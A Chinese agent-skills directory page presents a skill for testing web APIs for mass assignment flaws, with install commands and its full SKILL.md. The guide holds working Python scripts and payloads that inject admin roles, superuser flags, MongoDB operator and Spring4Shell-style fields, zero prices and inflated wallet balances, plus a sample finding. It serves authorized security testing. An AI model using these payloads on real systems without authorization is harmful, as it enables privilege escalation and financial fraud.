Token导航 LogoToken导航TokenDH.com
研究检索需要联网github未标认证来源可访问许可证需确认审计提醒

testing-api-for-mass-assignment-vulnerability测试 API FOR mass assignment vulnerability

Agent Skill

用于辅助 API 设计、接口文档、请求响应结构和服务集成说明。它适合让 Agent 梳理 endpoint、生成 OpenAPI 草稿、检查字段命名、整理错误码或辅助前后端联调。使用时需要确认真实业务语义、鉴权方式、分页和错误处理规则;涉及生成接口文档时,应避免凭空补字段,最好从现有代码、schema 或接口样例中提取事实。

总安装

729

周安装

31

GitHub Stars

5,877

下载量

255
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:testing-api-for-mass-assignment-vulnerability(测试 API FOR mass assignment vulnerability)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/testing-api-for-mass-assignment-vulnerability
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-for-mass-assignment-vulnerability
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-for-mass-assignment-vulnerability

简介

用于检测 API 是否允许客户端批量修改不应暴露的字段。

  • 适合在接口设计和安全审查时识别敏感属性赋值风险。
  • 通过提交额外参数验证服务端过滤机制的有效性。
  • 应结合业务语义确认字段白名单,避免误判或绕过防护。
  • testing-api-for-mass-assignment-vulnerability 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

SKILL.md

Testing API for Mass Assignment Vulnerability

When to Use

  • Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
  • Assessing whether the API binds all client-supplied properties to the data model without an allowlist
  • Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
  • Testing APIs built with ORMs that auto-bind request parameters to database models
  • Validating that server-side input validation restricts writeable properties per user role

Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.

Prerequisites

  • Written authorization specifying target API endpoints and scope
  • Test accounts at different privilege levels
  • API documentation or OpenAPI specification to identify expected request fields
  • Burp Suite Professional for request interception and parameter injection
  • Python 3.10+ with requests library
  • Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior

Workflow

Step 1: Identify Writable Endpoints and Expected Parameters

import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")

Step 2: Inject Privileged Fields

# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "test@example.com"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"

    # Test each category of privileged fields
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)

        if resp.status_code in (200, 201):
            # Verify if the fields were actually set
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "field": field_name,
                        "injected_value": injected_value,
                        "confirmed": True
                    })
                    print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")

    return findings

all_findings = []
for endpoint in writable_endpoints:
    findings = test_mass_assignment(endpoint)
    all_findings.extend(findings)

print(f"\nTotal mass assignment findings: {len(all_findings)}")

Step 3: Verify Assignment Through State Change

def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """Verify that the mass-assigned field actually persists in the database."""
    # Re-fetch the object to confirm the field was saved
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
            return match
    return False

# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")

# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
    headers=user_headers,
    json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")

# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
    print("[CRITICAL] Mass assignment: Role elevated to admin")

# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
    print("[CRITICAL] Admin access confirmed after role elevation")

Step 4: Framework-Specific Testing

# Ruby on Rails / Active Record style
rails_payloads = [
    {"user": {"name": "Test", "role": "admin", "admin": True}},  # Nested under model name
    {"user[name]": "Test", "user[role]": "admin"},                # Form-style nested
]

# Django REST Framework style
django_payloads = [
    {"username": "test", "is_staff": True, "is_superuser": True},
    {"username": "test", "groups": [1]},  # Add to admin group by ID
]

# Express.js / Mongoose style
express_payloads = [
    {"name": "test", "__v": 0, "_id": "000000000000000000000001"},  # Override MongoDB _id
    {"name": "test", "$set": {"role": "admin"}},                     # MongoDB operator injection
]

# Spring Boot / JPA style
spring_payloads = [
    {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
    {"name": "test", "class.module.classLoader": ""},  # Spring4Shell style
]

# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
    resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
    if resp.status_code in (200, 201):
        print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")

Step 5: Order and Financial Object Mass Assignment

# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")

# Test 1: Create order with manipulated price
order_body = {
    "items": [{"product_id": 42, "quantity": 1}],
    "shipping_address": {"street": "123 Test St", "city": "Test City"},
    # Injected fields
    "total": 0.01,
    "subtotal": 0.01,
    "discount_percent": 100,
    "coupon_code": "FREEORDER",
    "shipping_cost": 0,
    "tax": 0,
}

resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
    order = resp.json()
    print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
    if float(order.get("total", 999)) < 1.0:
        print("[CRITICAL] Price manipulation via mass assignment")

# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
    headers=user_headers,
    json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
    print(f"[MASS ASSIGNMENT] Order status/payment fields modified")

# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
    headers=user_headers,
    json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
    wallet = resp.json()
    if float(wallet.get("balance", 0)) > 10000:
        print("[CRITICAL] Wallet balance manipulation via mass assignment")

Key Concepts

TermDefinition
Mass AssignmentVulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields
Auto-BindingFramework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured
Allowlist (Whitelist)Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters
Blocklist (Blacklist)Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist)
Object Property Level AuthorizationOWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access
DTO (Data Transfer Object)Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model

Tools & Systems

  • Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
  • Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
  • Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
  • OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
  • Postman: API testing platform for crafting requests with injected parameters and verifying responses

Common Scenarios

Scenario: SaaS User Registration Mass Assignment

Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.

Approach:

  1. Register a new user with only expected fields: POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"} - returns user with role: "user"
  2. Register another user with injected role: POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"} - returns user with role: "admin"
  3. Confirm admin access by calling admin endpoints with the new account
  4. Test additional fields: is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium features
  5. Test profile update endpoint: PUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modified

Pitfalls:

  • Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
  • Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
  • Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
  • Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
  • Missing nested object mass assignment where fields like user.role or address.verified can be injected

Output Format

## Finding: Mass Assignment Enables Role Elevation via Registration API

**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
  - POST /api/v1/register
  - PUT /api/v1/users/me
  - POST /api/v1/orders

**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.

**Proof of Concept**:
1. Register with injected role:
   POST /api/v1/register
   {"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
   Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}

2. Update profile with injected balance:
   PUT /api/v1/users/me
   {"name":"Attacker","balance":99999.99}
   Response: {"id":5001,"balance":99999.99}

3. Create order with manipulated price:
   POST /api/v1/orders
   {"items":[{"product_id":42,"qty":1}],"total":0.01}
   Response: {"order_id":8001,"total":0.01}

**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.

**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

37.49%
按下载量换算96

Claude

29.96%
按下载量换算76

Cursor

20.23%
按下载量换算52

Gemini CLI

9.1%
按下载量换算23

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

可疑

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills